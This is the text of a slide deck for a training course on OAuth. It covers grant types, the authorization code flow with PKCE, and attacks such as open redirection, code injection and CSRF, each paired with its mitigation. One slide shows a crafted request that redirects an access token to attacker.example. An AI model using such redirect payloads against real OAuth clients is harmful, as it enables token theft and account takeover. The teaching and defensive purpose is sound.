OAuth in the Wild

1 © VictorRentea.ro
a training by

a training by
What is OAuth?
OAuth (short for "Open Authorization"[1][2]) is an open standard for
access delegation, commonly used as a way for internet users to grant websites
or applications access to their information on other websites but without giving
them the passwords

a training by
OAuth - Motivation
The SHARED Password AntiPattern
Client Application
some-website.com
https://some-website.com
Login to Google:
password
username
Login
form submit
user:pass
Basic Authentication
user:pass
Resource Server
mail.google.com
https://arstechnica.com/information-technology/2010/01/oauth-and-oauth-wrap-defeating-the-password-anti-pattern/

a training by
What is OAuth?
OAuth (short for "Open Authorization"[1][2]) is an open standard for
access delegation, commonly used as a way for internet users to grant websites
or applications access to their information on other websites but without giving
them the passwords
OAuth essentially allows access tokens to be issued to third-party clients (apps)
by an authorization server, with the approval of the resource owner.
The third-party app then uses the access token to access the protected resources
hosted by the resource server.

a training by
OAuth Actors
Main engine of OAuth/
central login system
(eg. KeyCloak)
Human owning the data
in the resource server
The client app wants
to do actions in this system
on behalf of the user (RO)
application⚠️ that wants
to act on your behalf

a training by
Single Sign On
the identity provider generates
a cryptographically signed token
the application trusts the IdP,
and checks the token signature
aka. Identity Provider (IdP)
SAML 2.0
(2005)
includes identity attributes
as signed SAML assertions
WebSSO
authentication
request protocol
APP cookie
SSO cookie
will allow later identification of the
same browser without login screen
application session cookie
/Web App
SSO
(IdP)
APP

a training by
SAML 2.0
(2005)
Limitations
SAML is basically a SSO cookie in your browser
that gives you access to webapps.
It’s limited outside of a web browser:
❌ Single Page Application (SPA) doing REST calls
❌ Mobile Apps
❌ TVs, Gaming Consoles, IoT devices

a training by
Today: Many Devices can access the same API
“How can I allow an app
to access my data / do action in my name in System X
without giving it my password?”
The goal of OAuth:

a training by
The Age of Oauth:
that enables client apps
to obtain
limited access
(scopes)
of a user
delegated authorization framework
decoupling authentication from authorization
FB knows you're "Matt"

a training by
OAuth is...
a delegated authorization framework for
REST/APIs
that enables apps to obtain limited access (scopes)
to a user’s data without giving away a user’s
password
✅ server-to-server apps
✅ browser-based apps
✅ mobile/native apps, and
✅ consoles/TVs.
Main Steps
1.App requests authorization from User
2.User authorizes App and delivers proof (Authorization Code)
3.Client App presents Authorization Code to server to get an Access Token
4.Token is restricted to only access what the User authorized for the
specific App

a training by
OAuth Scopes in Social
Login
could be time-ranged (days, weeks...)
(but few platforms allow it)
⚠️⚠️
Watch out actions that can be
performed on your behalf
You often can log in to a dashboard to
see what applications you’ve given
access to and to revoke consent.

a training by

a training by
Authorization Code: code exchanged for AT via backchannel
PKCE: AT retrieved by single-page-apps with no BE (legacy: Implicit Flow)
Client Credential: AT issued for a Client ("app login"), for server-to-server
Resource Owner: desktop client sends user/password for AT
Assertion Flow: integration with SAML 2.0 assertions
Device Code: for TV, CLI, IoT devices, ...
Grant Types

a training by
For Server-to-server Calls
- (not acting on behalf of a user)
- "service account" scenario
Can use
- Shared secret
- Assertions signed with symmetric or asymmetric keys
Client Credential Flow

a training by
Legacy desktop Clients wanting to call a OAuth-secured API
- Assumes Resource Owner👨 is on the same machine with Client App
- Eg: User enters username/password in a desktop application
User/password sent to AS  Access Token  call API
- No Refresh Tokens
Resource Owner Grant

a training by
OAuth AS trusts the SAML Identity Provider
- The Authentication Server can consumer SAML 2.0 assertions
- Enables integration of corporate solutions with OAuth
There are no Refresh Tokens
- Because SAML assertions are short-lived
 You have to keep retrieving Access Tokens
Assertion Flow

a training by
Example:
- A TV (client app) presents a user code
- You have to visit a URL on some browser to validate that user code
- The client app keeps checking the authorization of the user code
Device Code

a training by
AUTHORIZATION REQUEST
GET https://accounts.google.com/o/oauth2/auth
&response_type=code
?client_id=myapp
&redirect_uri=https://myapp.com/oauth2/callback
&scope=gmail.insert,gmail.send
&state=af0ifjsldkj
&code_challenge_method=sha256  PKCE
&code_challenge=ccc  sha256(vvv)
1
User enters valid credentials
or reuse a SSO session
2
AUTHORIZATION RESPONSE
302 Found (redirect)
Location: https://myapp.com/oauth2/callback
?code=MsCeLvIaQm6bTrgtp7
&state=af0ifjsldkj
3
Browser
back channel = server-to-server
front-channel = via browser 302 Redirects Authorization
Server
Client App
client_id=myapp
client_secret=7fJ8sfLa845JsA
client.myapp.secret=7fJ8sfLa845JsA
client.myapp.redirect_uri=https://myapp.com/oauth2/callback
configuration
PKCE INIT
state=random()
code_verifier=random()=vvv  PKCE
0
TOKEN REQUEST
POST https://www.googleapis.com/oauth2/v3/token
Content-Type: application/x-www-form-urlencoded
code=MsCeLvIaQm6bTrgtp7
&client_id=myapp
&redirect_uri=https://myapp.com/oauth2/callback
&client_secret=7fJ8sfLa845JsA
&grant_type=authorization_code
&code_verifier=vvv  PKCE
3
TOKEN RESPONSE
"access_token": "2YotnFZFEjr1zCsicMWpAA",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA",
"id_token": "<OpenIDConnectJWT>"
4
PKCE VERIFY
sha256(vvv) =?= ccc
3'
Attack #1 Redirection
Attack #3 Bro History
Attack #2 Referrer
Attack #5 CSRF
User consents to the scopes
requested by the Client App
2'
Authorization Code Flow + PKCE
Resource
Server
RESOURCE REQUEST
GET https://www.googleapis.com/gmail/v1/users/1444587525/messages
Authorization: Bearer 2YotnFZFEjr1zCsicMWpAA"
5
requested flow type
prior client registration
Attack #6 Redirection
Attack #4 Code Injection

a training by
A Fronted-only App (SPA) with no backend = "public client"
Vulnerable to security threats 🧠⚡
Cannot store client_secret
Cannot redeem an authorization code via backchannel
=> No reason to use an authorization code anymore
Access Token👑 is directly returned from the first request
Storing Refresh Token is vulnerable
- An XSS attack can send it to a hacker controller system
Deprecated and replaced with PKCE
Implicit Flow (legacy)
https://christianlydemann.com/implicit-flow-vs-code-flow-with-pkce/

a training by
AUTHORIZATION REQUEST
GET https://accounts.google.com/o/oauth2/auth
?response_type=token
&client_id=812741506391
&redirect_uri=https://app.example.com/oauth2/callback
&scope=gmail.insert gmail.send
&state=af0ifjsldkj
1
User enters valid credentials
or reuse a SSO session
2
AUTHORIZATION RESPONSE
302 Found (redirect)
Location: https://app.example.com/oauth2/callback
#access_token=2YotnFZFEjr1zCsicMWpAA
&token_type=Bearer
&expires_in=600
&state=af0ifjsldkj
3
Authorization
Server
Client App
client.myapp.redirect_uri=https://myapp.com/oauth2/callback
configuration
Implicit Flow (Legacy, avoid)
Resource
Server
RESOURCE REQUEST
GET https://www.googleapis.com/gmail/v1/users/1444587525/messages
Authorization: Bearer 2YotnFZFEjr1zCsicMWpAA"
5
prior client registration
Browser
client_id=myapp
Attack: Bro History
Attack: XSS Stoling AT
Attack: Lib sending AT
Attack: Confused Deputy

a training by
Client
- Generates code_verifier = random()
- Calculates code_challenge = sha256(code_verifier)
- Sends code_challenge in the authorization request (along with code_challenge_method=sha256)
Server
- Responds with a code
- Stores code_challenge
Client
- Sends to the token endpoint code and code_verifier
Server can verify the AT is returned to the initiator of the flow
- Calculates code_challenge_2 = sha256(code_verifier)
- Verifies that code_challenge_2 == code_challenge
- Issues an access_token. 🎉
PKCE
= Proof Key for Code Exchange, pronounced “pixi”
https://dropbox.tech/developers/pkce--what-and-why-#:~:text=%E2%80%9CPKCE%20(RFC%207636)%20is,to%20access%20their%20Dropbox%20data.

a training by
Attack #1: Open Redirection
Imagine the the authorization server allowed any URL for redirection?
An attacker sends a link with a forged redirection URL to the victim tricking him to login.
After the victim logs in to the authorization server, he is redirected to the URL controlled by an attacker
=> the access token or the authorization code is leaked.
= a very popular vulnerability in OAuth 2.0
In 2016 an open redirection vulnerability was found in PayPal website.
They did not allow any redirection URL but the validation function was implemented incorrectly.
It allowed any redirection URL that started with a third-party application domain (e.g. company.com).
The problem was that they accepted any domain that started with company.com,
so attackers could create the company.com.attacker.com domain and steal access tokens.

a training by
Attack #2: Leakage via Referrer Header
The page to which AS redirects back with the authorization_code or access_token renders:
- a url, clicked by user
- 3rd party content (iframes, images..)
Browser requests for them will include the header
Referrer: https://myapp.com/oauth2/callback?code=Xdag3qfa
 remove the code from URL via another redirect from ../callback?code= to /app.html
Attack #3: Browser History
Attacker finds this in a browser history: myapp.com/oauth2/callback?code=abcd&...
 Form-based redirects https://openid.net/specs/oauth-v2-form-post-response-mode-1_0.html
 Authorization code replay prevention

a training by
Attack #4: Authorization Code Injection
1. The attacker obtains an authorization code of the victim (eg using a previous attack).
2. The attacker performs a regular OAuth authorization process with the legitimate client on his device.
3. The attacker injects the stolen authorization code in the response of the authorization server to the client.
Since this response is passing through the attacker's device, the attacker can use any tool that can
intercept and manipulate the authorization response to this end.
4. The legitimate client sends the stolen code to the authorization server's token endpoint, along with the
client's client ID, client secret and actual redirect_uri.
5. The authorization server checks the client secret, whether the code was issued to the particular client,
and whether the actual redirect URI matches the redirect_uri parameter.
6. All checks succeed and the authorization server issues an access token to the client.
The attacker has now impersonated the victim's identity in respect to that client.
 PKCE

a training by
#5 Attack – CSRF
1. The Attacker visits some client's website (e.g. https://brilliantphotos.com) and starts the process of authorizing that client to
access some service provider using OAuth (e.g. Acebook), as brilliantphotos.com allows its users to post pictures to their
Acebook page
2.brilliantphotos.com redirects Attacker's browser to Acebook's Authorisation Server, where the Attacker enters her Acebook
username/password in order to authorize access.
4.After successful login, the Attacker traps/prevents the subsequent redirect request and saves its URL(Callback Url with an auth
code related to the Attacker) e.g. https://brilliantphotos.com/exchangecodefortoken?code=attackercode
5. Attacker somehow gets the Victim to visit that URL (maybe as a link on a forum post...).
6.The victim clicks the link and brilliantphotos.com exchanges 'attackercode' authorization code for an access token (issues in
fact for the Attacker account).
7.Now if the Victim continues to use the brilliantphotos.com website, the client may inadvertently be posting pictures to Attacker
account on the service provider (Acebook).
The Attacker forces the Victim to impersonate the Attacker's account.
 brilliantphotos.com generates a state param, adds it to the authorization request and keeps it in the user browser. Therefore
brilliantphotos.com would not be able to correlate the state in the response with Alice's browser session when Alice clicks on
the malicious URL.
https://stackoverflow.com/questions/35985551/how-does-csrf-work-without-state-parameter-in-oauth2-0/35988614#35988614

a training by
The OAuth authorization process starts in a third-party application which asks the user for
permissions to get his personal information which is kept on the resource server.
User is redirected to the authorization server which presents what information is going to be
shared with a third-party application.
When the user accepts the request and confirms the permissions he is redirected back to the
third-party applications together with the authorization code or the access token😱.
The redirection URL is specified in the first request from application.
Do you see the potential risk?
What if the authorization server allowed any URL for redirection?

a training by
Attack: Access Token Leakage at Resource Server
because the Resource Server is Compromised or Counterfeit (registered by attacker to AS)
Problem: the RS can use access_tokens received to call other RSs
Idea1: include target resource servers in access_token
{ "access_token":"2YotnFZFEjr1zCsicMWpAA",
"access_token_resource_server": "https://hostedresource.somesite.example/path1",
... }
Idea2: Sender-Constrained Access Tokens
access tokens are issued bound to a sender client (eg to its certificate/secret)
Idea3: Audience-Restricted Access Tokens
If receiver is not in the audience list, reject the token.
Variant: Sender tells AS who it wants to call with that token > benefits for
privacy/content of token

a training by
Real-life Attack: Clients not checking state 💪
The SSO mechanism allowed users to log in using accounts from Active Directory.
However, a few third-party applications, integrated with this mechanism, additionally allowed users to log in using Google
accounts. In that case, the button to log in with a Google account was added on the login page. On the other hand, when
the user was redirected from another application, the button did not show up (user was allowed to log in with Active
Directory only).
The third-party application that accepted Google account either verified whether the logged in e-mail address is accepted
(there was a list of accepted Google email addresses) or simply allowed anyone (any Google email address) to have
a valid account.
The vulnerability appeared because the other group of third-party applications were not aware of the fact that users can
log in to SSO with Google accounts as well. They did not verify whether the authorization code, that was returned to them
with redirection, came from the login process initiated by them. They just used the code to get the access token.
The attack scenario is the following (from the attacker’s perspective):
1. Start the login process for the third-party applications that accepts Google accounts.
2. Login in to SSO using any Google account.
3. Switch the context of the login process to another application that accepts users only from Active Directory and
provides it the valid code from SSO.
4. The attacked application generates valid token from the code and lets the attacker in.
Long story short, the attacker could log in using any Google mail to the third-party application that allowed accounts from
Active Directory only.

a training by
Attack: Open Redirection + Open Redirector Client
An implicit flow client redirects to arbitrary URL upon return from authorization server via a query param
?redirect_to=xxxxx = that’s an “open redirector”
1st Request to Authorization Server:
GET server.somesite.example/authorize?response_type=token&state=9ad67f13
&client_id=s6BhdRkqt3
&redirect_uri=https://client.somesite.example/cb?redirect_to=https://attacker.example/
The redirect_uri matches the pattern registered with AS: https://client.somesite.example/cb?*
AS Response:
HTTP/1.1 303 See Other
Location: https://client.somesite.example/cb?redirect_to=https://attacker.example/cb#access_token=2YotnFZFEjr1AA&...
The app automatically follows the redirect, but the browser automatically attaches the original fragment including Access
Token # and navigates to:
https://attacker.example/#access_token=2YotnFZFEjr1z...
The AT is leaked. Game Over.

a training by
Attack – Access Token Injection
The attacker attempts to inject a stolen access token into a legitimate client (that is
not under the attacker's control) to impersonate a user.
To conduct the attack, the attacker starts an OAuth flow with the client using the
implicit grant and:
a) modifies the authorization response from AS by replacing the access token or|
b) makes up an authorization server response including the leaked access token.
Since the response includes the state value generated by the client for this
particular transaction, the client does not treat the response as a CSRF attack.
https://tools.ietf.org/id/draft-ietf-oauth-security-topics-14.html#access_token_injection

a training by
Oauth Threat Model: https://www.rfc-editor.org/info/rfc6819
OAuth 2.0 Security Best Current Practice https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics

OAuth in the Wild

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to OAuth in the Wild

Similar to OAuth in the Wild (20)

More from Victor Rentea

More from Victor Rentea (20)

Recently uploaded

Recently uploaded (20)

OAuth in the Wild